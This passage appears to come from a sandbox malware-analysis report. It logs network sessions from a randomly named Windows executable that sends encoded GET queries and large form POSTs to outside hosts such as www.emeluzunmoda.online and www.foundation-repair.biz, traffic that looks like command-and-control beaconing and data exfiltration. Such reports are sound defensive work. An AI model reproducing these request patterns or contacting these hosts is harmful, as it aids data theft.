dmnwiOEADPxNAHAqYeSbnei1RrhafRTao44Ek1zdp/djfV6g6C/Y0LXfURbeZeZ2reU6Hb7VimhXNtKLjM2F0ly7n2YR7GxD4U79f1vMQ4oC5ORCKhuFJDj0hOS4nlV8WubUvsDNyP050thgaiMsM3Mr8glFIJFqCyxrgPD8+U6bs7d371qeWeiHGRl/iOhS1J4YSh6iM9Jm4QaX2S [TRUNCATED]
Aug 27, 2024 08:00:43.171602964 CEST	6445	OUT	Data Raw: 75 38 62 68 71 6f 76 79 42 47 57 37 62 34 72 52 6c 4b 66 6a 30 4e 52 43 55 67 55 39 65 63 75 6e 39 71 4b 36 64 61 33 77 52 70 48 75 68 71 37 78 38 4c 4c 75 6b 4a 72 41 57 67 62 4b 37 47 71 46 37 54 72 39 4d 54 52 59 67 56 38 54 4e 4b 49 4c 78 72 Data Ascii: u8bhqovyBGW7b4rRlKfj0NRCUgU9ecun9qK6da3wRpHuhq7x8LLukJrAWgbK7GqF7Tr9MTRYgV8TNKILxrLbrYhH5OAGz1aD3VnP1Q0oYRIZR3p0R/Yz+Pb3iDkGlZzHQ6jpDlXBhGzC7VOWlfGSZKkvTchfmpSZD93D1ImDkbIQia5CQGW/JF7gJXfdDll2dVclUM8FWRR5lFd9eHeX6Sik3dhQzSnNFAX7oBz5yhHPwVeetkX
Aug 27, 2024 08:00:43.171670914 CEST	2578	OUT	Data Raw: 2f 46 72 4f 49 36 63 61 57 37 66 68 39 70 73 6b 46 64 75 62 2f 6c 70 36 48 47 7a 2b 4c 67 33 4d 4f 34 72 58 30 38 58 57 71 50 38 33 49 44 53 50 2f 2b 57 51 37 46 44 4e 53 32 39 64 73 33 51 69 54 47 6a 4a 6b 50 6b 34 6b 33 79 51 30 49 31 6d 4c 50 Data Ascii: /FrOI6caW7fh9pskFdub/lp6HGz+Lg3MO4rX08XWqP83IDSP/+WQ7FDNS29ds3QiTGjJkPk4k3yQ0I1mLP/fdXNVPBPVx7qYL36R8eaIgBagrTbT+HFivK4gECp8GHCD36jNVQhwX67iPdoxSxCtLn5eTPtDAdmOVJJPGf64VQNkW/Y3ed+UVd3LyGjp4yI+MUcI5MurANadKc/TWgXYL+RDhHSsJcXuntd9oqS1Pzh23B1TdgC
Aug 27, 2024 08:00:43.171843052 CEST	1289	OUT	Data Raw: 45 71 39 76 43 34 2f 57 6d 4b 56 76 31 55 67 56 72 54 77 62 7a 76 72 48 31 54 7a 50 5a 74 44 30 6f 4a 47 62 65 30 65 6b 30 75 4f 56 45 69 32 48 64 48 78 48 4c 6b 76 6e 46 46 42 39 4c 5a 58 76 4a 6a 4c 4b 51 4b 35 36 34 39 5a 4f 62 2f 43 30 77 39 Data Ascii: Eq9vC4/WmKVv1UgVrTwbzvrH1TzPZtD0oJGbe0ek0uOVEi2HdHxHLkvnFFB9LZXvJjLKQK5649ZOb/C0w95t8PFGO+B0W3QAkUqXOsBgbPFu9ZVQ//EsXQGeOfbvL0hIjk5td6IfXbA4d8AbGP/gYj/9SLJmqBRQDVG5iuRO7PRRD73H+2Iz4fqc1nebMCcmDq+/NCBuwSiVar+QRpWw7MPdpl2uE2Bf6amR6g8DBeOIWjB4DgE
Aug 27, 2024 08:00:43.272478104 CEST	2578	OUT	Data Raw: 6f 56 4b 46 45 50 5a 4b 34 38 63 63 59 36 6a 58 56 39 4a 4c 65 5a 71 63 35 47 59 73 6e 72 2f 67 6d 31 64 41 4b 31 4a 71 6f 56 75 79 4c 44 77 45 78 71 49 68 6f 37 59 45 72 47 32 6f 39 63 31 68 6f 47 77 5a 37 35 68 46 47 4f 4b 39 74 37 4f 4e 42 6e Data Ascii: oVKFEPZK48ccY6jXV9JLeZqc5GYsnr/gm1dAK1JqoVuyLDwExqIho7YErG2o9c1hoGwZ75hFGOK9t7ONBns86k3IdOZS3/vN/gznMA0VUCQWPJ53Wp9CCMNRn4hE/Az3U8avZcupoeUkiul0SU2zc1Ss3hTy3oU6W/0jHIqIRXaJx7xuCFMA55UDFNNp9mqPIc6UlApNtrBqaAN2gxXgO0kq6FlZB03cGG4Ba1ke+bu9n/DAkiN
Aug 27, 2024 08:00:43.272648096 CEST	5156	OUT	Data Raw: 51 5a 63 31 35 53 39 6a 51 6b 53 72 6f 30 67 67 77 72 36 39 4c 4f 67 32 44 4c 2b 42 2b 63 54 6a 35 4c 61 41 75 56 38 4c 77 42 58 6c 6c 55 6d 30 6e 78 33 4e 77 36 75 32 67 4b 4c 43 59 75 6c 70 66 65 39 70 30 53 4a 69 67 70 4c 76 54 6e 30 79 67 55 Data Ascii: QZc15S9jQkSro0ggwr69LOg2DL+B+cTj5LaAuV8LwBXllUm0nx3Nw6u2gKLCYulpfe9p0SJigpLvTn0ygU0bZWhTvFvW+se4NQef4/8i0ltrWYKdtXA+RzezhJ4kRblfgzEpZGjP79c8/m8U2sheiwRrpG4OdVrBV4mben0py6hJk/nP7QmEhHU6Cs070NizwWYowpyIar76bFZ4dZjyRZ43yM6FQwrSR07UC6Rwz9MGfU2jPrH
Aug 27, 2024 08:00:43.272793055 CEST	5156	OUT	Data Raw: 57 48 52 63 6a 50 7a 6c 47 52 55 6f 6f 4a 53 73 6d 4f 52 30 36 6b 71 64 2b 78 79 34 6f 59 50 44 4b 41 7a 73 64 6c 30 6d 77 32 2f 2b 4f 2f 4a 39 4a 2f 4d 34 6c 51 45 50 4e 71 48 34 44 53 42 30 38 5a 6d 50 61 4c 56 30 6f 49 38 45 58 70 48 70 6a 79 Data Ascii: WHRcjPzlGRUooJSsmOR06kqd+xy4oYPDKAzsdl0mw2/+O/J9J/M4lQEPNqH4DSB08ZmPaLV0oI8EXpHpjyyL3lq3QQwrrgDXz8kB8DG0aPA/fDXktfNfSSGbG8REnv05R1QU+AnR9XVVNSPztzoUtfCepwHwzWnk71eStbn0CMHjn504js+SCFof4WetjdsInO8wf245Rh9no0Q5V2Vss6Qn/O4Yx4eoLdGaACMgcI/0UwHG7c0
Aug 27, 2024 08:00:43.272984982 CEST	1289	OUT	Data Raw: 50 30 70 54 4f 6a 6b 78 53 2f 30 50 4f 69 65 76 47 41 49 32 41 46 57 55 72 53 2f 30 6a 43 73 32 5a 66 5a 62 55 76 34 44 44 2b 6a 4d 4a 4f 46 36 65 61 52 58 66 6b 34 36 6f 54 6a 4a 34 45 63 7a 36 64 4c 47 4e 47 6b 4f 67 65 54 2f 35 76 79 44 52 78 Data Ascii: P0pTOjkxS/0POievGAI2AFWUrS/0jCs2ZfZbUv4DD+jMJOF6eaRXfk46oTjJ4Ecz6dLGNGkOgeT/5vyDRxuSADGMGnEB1aXx3Y9HUXrCRmEwdOzHoSSuScs3XJW4NPkdJqdqj2P9vsWIu1JzwH21RGHHX61tbawIWVQfEDIZQcftLJQ4FjqONkmvbwNBxDIgNuDMq4HSE9qtX3DPWcEOXOQkW/SHTYvrR3erd2BR9mZLeAla9gw
Aug 27, 2024 08:00:43.273134947 CEST	11601	OUT	Data Raw: 5a 62 35 41 73 4e 31 70 52 43 6a 4f 74 6a 45 45 51 70 6c 39 67 36 36 69 6b 34 39 48 30 6a 37 64 71 7a 45 6e 73 75 39 61 4c 35 45 32 4b 32 73 42 45 6a 5a 77 67 59 63 66 62 6c 7a 38 66 66 36 67 50 4d 31 4d 38 63 32 63 4b 73 36 47 4b 49 39 2f 7a 6c Data Ascii: Zb5AsN1pRCjOtjEEQpl9g66ik49H0j7dqzEnsu9aL5E2K2sBEjZwgYcfblz8ff6gPM1M8c2cKs6GKI9/zlcQpRDFi0GbkyGrNSiE4qGPlQ607meiLTF/BU4LSkRKNsbelCTb8xpaYIJw0xGEgf1da5VEf9iYzo/GTyIEEcaGipVeDpk339OSfJf9fyGRvp1Fq5Ns6djB8oIDBa2sHhVyDi7wBP9OuZ/mWoxm96ekV9pQKrXMIZR
Aug 27, 2024 08:00:43.373538017 CEST	1289	OUT	Data Raw: 58 76 5a 52 4f 51 7a 79 39 71 32 32 6e 6c 76 44 6e 57 34 58 6d 4e 72 50 36 62 39 58 47 38 68 71 2b 2b 43 43 50 56 42 49 75 7a 6d 63 51 74 4a 38 49 46 55 42 44 46 73 6d 4f 68 50 57 62 53 35 78 41 48 42 46 4c 7a 42 71 6d 65 41 2f 4e 58 58 66 4c 7a Data Ascii: XvZROQzy9q22nlvDnW4XmNrP6b9XG8hq++CCPVBIuzmcQtJ8IFUBDFsmOhPWbS5xAHBFLzBqmeA/NXXfLz57PjZSZDHjSIxjIbytVVsV3zSTFDRbnhkGl79pQLRk7XDrwTGnH0WVzuIKdNrqPHgZSnnJV5IYi9qagwxcEk3IiYl+zKgyND8b/vuj09WBrnN7dVB+8NuVfuBIsdFXxxMuEAjb+FWzGOrCCnJsVYvbxzBFyVEyjMX
Aug 27, 2024 08:00:43.373744011 CEST	9023	OUT	Data Raw: 6c 38 57 37 73 56 61 4b 79 35 59 30 39 46 54 45 68 33 31 30 4f 46 39 42 78 67 52 55 4a 44 51 6a 6f 52 63 4d 41 63 70 65 73 4a 61 78 69 47 65 74 2b 66 53 77 7a 6f 53 47 2b 35 32 7a 38 5a 52 47 4d 66 67 61 46 32 53 50 6c 50 71 4c 31 45 67 2f 69 76 Data Ascii: l8W7sVaKy5Y09FTEh310OF9BxgRUJDQjoRcMAcpesJaxiGet+fSwzoSG+52z8ZRGMfgaF2SPlPqL1Eg/ivQ57j/RwwBb7UGKhhDAw65kM8b7KLG1LFsAlY62xR3bQvhRqeGuUDaD6ZE6S4KClAgFFhpM51nB8W7hprX5/ujqJ3/0AlIdjiBonJpknBNQCdovA6dkVE4dsvuRqO3Y+dWy0MsAwBRkhFrJIctlncMO2a3aoUikjiK
Aug 27, 2024 08:00:43.476402998 CEST	1200	IN	HTTP/1.1 200 OK date: Tue, 27 Aug 2024 06:00:42 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: fa03124e-82a9-4f3b-8143-960ab31e0484 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JUMrpzS0JSo3kDHGSd/xi71RDfm47M+ByYOqjzjPWIcDOSqxFj69EvnNniURFyze+eaWU9XrKZoupVKXUE0SVA== set-cookie: parking_session=fa03124e-82a9-4f3b-8143-960ab31e0484; expires=Tue, 27 Aug 2024 06:15:43 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 4a 55 4d 72 70 7a 53 30 4a 53 6f 33 6b 44 48 47 53 64 2f 78 69 37 31 52 44 66 6d 34 37 4d 2b 42 79 59 4f 71 6a 7a 6a 50 57 49 63 44 4f 53 71 78 46 6a 36 39 45 76 6e 4e 6e 69 55 52 46 79 7a 65 2b 65 61 57 55 39 58 72 4b 5a 6f 75 70 56 4b 58 55 45 30 53 56 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_JUMrpzS0JSo3kDHGSd/xi71RDfm47M+ByYOqjzjPWIcDOSqxFj69EvnNniURFyze+eaWU9XrKZoupVKXUE0SVA==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.20	49881	199.59.243.226	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:45.807940006 CEST	555	OUT	GET /enra/?ij60MtY=EuJScojaXV9tkcwMAt8AIq1Fa6SjC3UOd2jPPlI8uN15nuMsourZ6RQE0C5sWIKd2oJ0ti0mlaCO+WC8VNvzQxVxe8Bdx85A43xT3KZq/wlYnQ9EpMMmNcQ=&wXB=brv4Erb HTTP/1.1 Host: www.foundation-repair.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Connection: close User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number>
Aug 27, 2024 08:00:45.910274029 CEST	1200	IN	HTTP/1.1 200 OK date: Tue, 27 Aug 2024 06:00:45 GMT content-type: text/html; charset=utf-8 content-length: 1478 x-request-id: 3b15f141-f93f-4847-8320-b14eefcb73b7 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RZYk5tm00vBmFyaN7GKnAueCtyd0JwBkFi5U9ybVCjBAHH6HMDjDPavLM1ZxUAzU3/gHHtOqdEztGAqmelRMIw== set-cookie: parking_session=3b15f141-f93f-4847-8320-b14eefcb73b7; expires=Tue, 27 Aug 2024 06:15:45 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 52 5a 59 6b 35 74 6d 30 30 76 42 6d 46 79 61 4e 37 47 4b 6e 41 75 65 43 74 79 64 30 4a 77 42 6b 46 69 35 55 39 79 62 56 43 6a 42 41 48 48 36 48 4d 44 6a 44 50 61 76 4c 4d 31 5a 78 55 41 7a 55 33 2f 67 48 48 74 4f 71 64 45 7a 74 47 41 71 6d 65 6c 52 4d 49 77 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_RZYk5tm00vBmFyaN7GKnAueCtyd0JwBkFi5U9ybVCjBAHH6HMDjDPavLM1ZxUAzU3/gHHtOqdEztGAqmelRMIw==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI1
Aug 27, 2024 08:00:45.910377026 CEST	967	IN	Data Raw: 32 50 34 2f 2f 38 2f 41 41 58 2b 41 76 37 63 7a 46 6e 6e 41 41 41 41 41 45 6c 46 54 6b 53 75 51 6d 43 43 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 Data Ascii: 2P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiM2IxNWYxNDEtZjkzZi00ODQ3LTgzMjAtYjE0ZWVmY2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.20	49882	85.159.66.93	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:51.599246979 CEST	835	OUT	POST /c0kl/ HTTP/1.1 Host: www.emeluzunmoda.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.emeluzunmoda.online Cache-Control: no-cache Connection: close Content-Length: 204 Content-Type: application/x-www-form-urlencoded Referer: http://www.emeluzunmoda.online/c0kl/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 4e 7a 78 78 32 36 35 5a 71 44 48 79 70 50 50 35 43 34 66 36 4e 68 74 43 45 36 78 53 32 78 37 30 41 32 42 62 7a 4b 6d 36 31 59 73 53 35 76 4e 7a 78 68 31 42 77 64 47 2f 4e 76 50 44 4d 68 50 66 6d 65 35 4b 39 74 6c 6c 71 73 66 49 34 62 56 70 70 6b 38 34 6d 73 44 35 6f 42 7a 6d 53 62 56 6b 76 44 69 52 6f 75 4d 53 51 68 6e 43 6e 6e 78 6c 6b 73 5a 56 30 74 61 4e 34 6d 6b 4a 42 39 43 54 32 59 4a 76 47 74 34 31 47 49 4d 36 39 41 68 68 59 59 4d 37 4f 34 65 4a 5a 38 79 2b 49 70 36 74 30 32 76 53 47 63 50 4f 50 78 37 6b 51 66 2b 73 63 65 53 6b 4d 41 77 2b 2f 72 74 54 58 4f 5a 73 6a 67 3d 3d Data Ascii: ij60MtY=Nzxx265ZqDHypPP5C4f6NhtCE6xS2x70A2BbzKm61YsS5vNzxh1BwdG/NvPDMhPfme5K9tllqsfI4bVppk84msD5oBzmSbVkvDiRouMSQhnCnnxlksZV0taN4mkJB9CT2YJvGt41GIM69AhhYYM7O4eJZ8y+Ip6t02vSGcPOPx7kQf+sceSkMAw+/rtTXOZsjg==
Aug 27, 2024 08:00:51.831715107 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Tue, 27 Aug 2024 06:00:51 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 19 X-Rate-Limit-Reset: 2024-08-27T06:00:56.7231680Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.20	49883	85.159.66.93	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:54.353516102 CEST	1175	OUT	POST /c0kl/ HTTP/1.1 Host: www.emeluzunmoda.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.emeluzunmoda.online Cache-Control: no-cache Connection: close Content-Length: 544 Content-Type: application/x-www-form-urlencoded Referer: http://www.emeluzunmoda.online/c0kl/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 4e 7a 78 78 32 36 35 5a 71 44 48 79 6f 76 2f 35 41 66 4c 36 63 52 74 46 4b 61 78 53 35 52 37 77 41 32 46 62 7a 4c 53 51 31 72 59 53 35 4f 52 7a 77 67 31 42 7a 64 47 2f 46 50 50 4d 49 68 50 49 6d 5a 78 30 39 6f 64 6c 71 73 4c 49 2b 73 56 70 67 30 38 2f 75 4d 44 2b 74 78 7a 72 5a 37 56 55 76 44 76 34 6f 71 45 53 51 77 37 43 6d 6c 5a 6c 31 70 74 53 77 4e 61 50 77 47 6b 4b 59 74 43 4a 32 5a 31 52 47 70 30 44 46 36 51 36 39 6a 70 68 5a 59 4d 36 63 6f 66 42 45 73 7a 77 4a 70 6a 61 37 53 54 50 47 2b 61 56 4c 78 76 6e 4d 75 72 75 55 38 71 6b 53 7a 6f 73 78 4b 41 76 54 61 46 70 77 70 44 52 58 50 2f 57 6e 75 31 51 71 43 2f 38 30 69 2f 62 44 78 72 69 43 6b 67 6b 2b 63 42 39 78 45 6b 33 31 54 38 51 57 52 4e 4e 66 6d 61 65 43 6f 78 44 6e 6d 37 2b 44 7a 53 32 66 64 59 33 68 34 58 61 6f 6a 32 47 53 4d 4f 73 4f 39 52 46 41 4e 45 57 68 70 4c 4f 4d 76 7a 70 32 65 53 6b 65 74 74 47 45 66 54 4f 31 69 35 6e 45 53 64 5a 49 74 44 77 41 42 48 72 71 44 62 68 53 2f 4d 35 59 77 77 76 76 73 52 43 2b 47 [TRUNCATED] Data Ascii: ij60MtY=Nzxx265ZqDHyov/5AfL6cRtFKaxS5R7wA2FbzLSQ1rYS5ORzwg1BzdG/FPPMIhPImZx09odlqsLI+sVpg08/uMD+txzrZ7VUvDv4oqESQw7CmlZl1ptSwNaPwGkKYtCJ2Z1RGp0DF6Q69jphZYM6cofBEszwJpja7STPG+aVLxvnMuruU8qkSzosxKAvTaFpwpDRXP/Wnu1QqC/80i/bDxriCkgk+cB9xEk31T8QWRNNfmaeCoxDnm7+DzS2fdY3h4Xaoj2GSMOsO9RFANEWhpLOMvzp2eSkettGEfTO1i5nESdZItDwABHrqDbhS/M5YwwvvsRC+GY1vsJPQ2lm/axrhDcNO11jjmQujgMdvKON71zoTPtPeXfDpbdfPtnuRIiQi31eQIr4d7L0RC8nOLKpCQmJNVMFzT1QNjKTsTh6molTNqJESn/sT6ckN+jkdIaifElwXi0tJh9lRavnSUgG0r/KMYq3dDv+oTIDuwJMooLdJgpmNcG0s2SjmnzMKZH8tck+d9Moqktvr0d2vvw=
Aug 27, 2024 08:00:54.578942060 CEST	225	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.1 Date: Tue, 27 Aug 2024 06:00:54 GMT Content-Length: 0 Connection: close X-Rate-Limit-Limit: 5s X-Rate-Limit-Remaining: 18 X-Rate-Limit-Reset: 2024-08-27T06:00:56.7231680Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.20	49884	85.159.66.93	80	7116	C:\Program Files (x86)\bCIDzIKdioIOWaLkVALMCJZbzLSppNPLrokYvYYmIhPKpvmJHwYNldubsKptZpizeTUZYkvKKUayql\kCwueywDTS.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 08:00:57.111351013 CEST	2578	OUT	POST /c0kl/ HTTP/1.1 Host: www.emeluzunmoda.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Origin: http://www.emeluzunmoda.online Cache-Control: no-cache Connection: close Content-Length: 52932 Content-Type: application/x-www-form-urlencoded Referer: http://www.emeluzunmoda.online/c0kl/ User-Agent: Mozilla/5.0 (Windows Phone 10.0; Android 4.2.1; DEVICE INFO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Mobile Safari/537.36 Edge/12.<OS build number> Data Raw: 69 6a 36 30 4d 74 59 3d 4e 7a 78 78 32 36 35 5a 71 44 48 79 6f 76 2f 35 41 66 4c 36 63 52 74 46 4b 61 78 53 35 52 37 77 41 32 46 62 7a 4c 53 51 31 72 41 53 34 38 31 7a 77 44 64 42 79 64 47 2f 50 76 50 50 49 68 50 4a 6d 66 5a 4f 39 6f 68 66 71 76 7a 49 35 2f 64 70 68 42 51 2f 72 4d 44 2f 69 52 7a 70 53 62 56 41 76 44 6a 73 6f 71 35 76 51 68 2f 43 6e 69 31 6c 6a 4f 42 56 76 74 61 4e 77 47 6b 57 63 74 43 76 32 59 41 4b 47 70 77 44 46 34 6b 36 38 57 74 68 62 50 51 36 62 34 66 41 4e 4d 7a 72 48 4a 69 67 37 54 7a 39 47 2b 62 69 4c 79 6a 6e 4d 73 54 75 54 39 71 6e 53 54 6f 73 38 71 41 73 42 71 42 6c 77 74 69 53 58 50 62 57 6e 70 78 51 73 69 2f 38 78 48 54 63 55 68 72 73 47 6b 68 6b 36 63 39 6c 78 46 41 4a 31 53 6f 51 57 68 5a 4e 51 78 36 65 41 4b 4a 44 74 6d 37 38 4e 54 54 6f 4a 74 59 64 68 34 47 78 6f 69 57 57 53 4f 43 73 50 64 78 46 45 5a 59 56 33 35 4c 4d 53 2f 7a 6e 79 65 4f 67 65 74 63 45 45 66 54 65 31 6a 4e 6e 45 43 74 5a 4a 73 44 78 47 52 48 67 78 7a 62 30 4c 50 51 7a 59 30 59 5a 76 76 41 4a 2b 46 [TRUNCATED] Data Ascii: ij60MtY=Nzxx265ZqDHyov/5AfL6cRtFKaxS5R7wA2FbzLSQ1rAS481zwDdBydG/PvPPIhPJmfZO9ohfqvzI5/dphBQ/rMD/iRzpSbVAvDjsoq5vQh/Cni1ljOBVvtaNwGkWctCv2YAKGpwDF4k68WthbPQ6b4fANMzrHJig7Tz9G+biLyjnMsTuT9qnSTos8qAsBqBlwtiSXPbWnpxQsi/8xHTcUhrsGkhk6c9lxFAJ1SoQWhZNQx6eAKJDtm78NTToJtYdh4GxoiWWSOCsPdxFEZYV35LMS/znyeOgetcEEfTe1jNnECtZJsDxGRHgxzb0LPQzY0YZvvAJ+FU1uMJPb19lxqxStjcAK11wjmMyjhZms6yN7FDoWftMInffvrdZe9nuRIuEi35eQdP4cJT0BlgnBrKvCQmYNVBxzTN+Nja5sVZ6n5VTDLJHXX/pYad+DevKdIG6fE1KUVMtKgNlGqvoU0gNjb+RIYnodDDuoTQpuzJMos6VSzI4TcSig2SdyXSbJ7H+gtFeXI550Udn2kBhxpVRF5/1XzxuelVeoaAps1MzIXUy1+GLHL+gQPOrFxvsQP5Z68UMf6ti7t46lL7tBjKUgUwnq6XNs0m8PGpcn+wbdjHXndLTI2CauqltGtVw7tkVa/w8cJqapmsCMOlo465PngDs7aWRRSoGNUswk5fLxI4OUu4dgeyh64M1CVAcpM3Kqw1E+yffb7pIt7JInv2/2xwAW0mgG6Nl/M1MvcY5KtNsi4FsCRlnA8IfunUCiJ+gO8Jy+cyvbFEMURmfETMCTDh6VdxnjTo0MJflKjPcPtC3pFCgw6TE5QaRECoiu3DudQ2f284NnZv2Oj6b75PEGwp65MZhFQlvic74kUuxf2DPKIySXDqsBsHrwVcTPFDlLlxV50201BWikgkup1i5W0p5adwvPCJR+4BqRYHii93kQFWJL4IGnZPz4ZrbmMea5CgbTqoddNQ6gJE5YeBUbBDzyJORNQVqzpaW1kww [TRUNCATED]
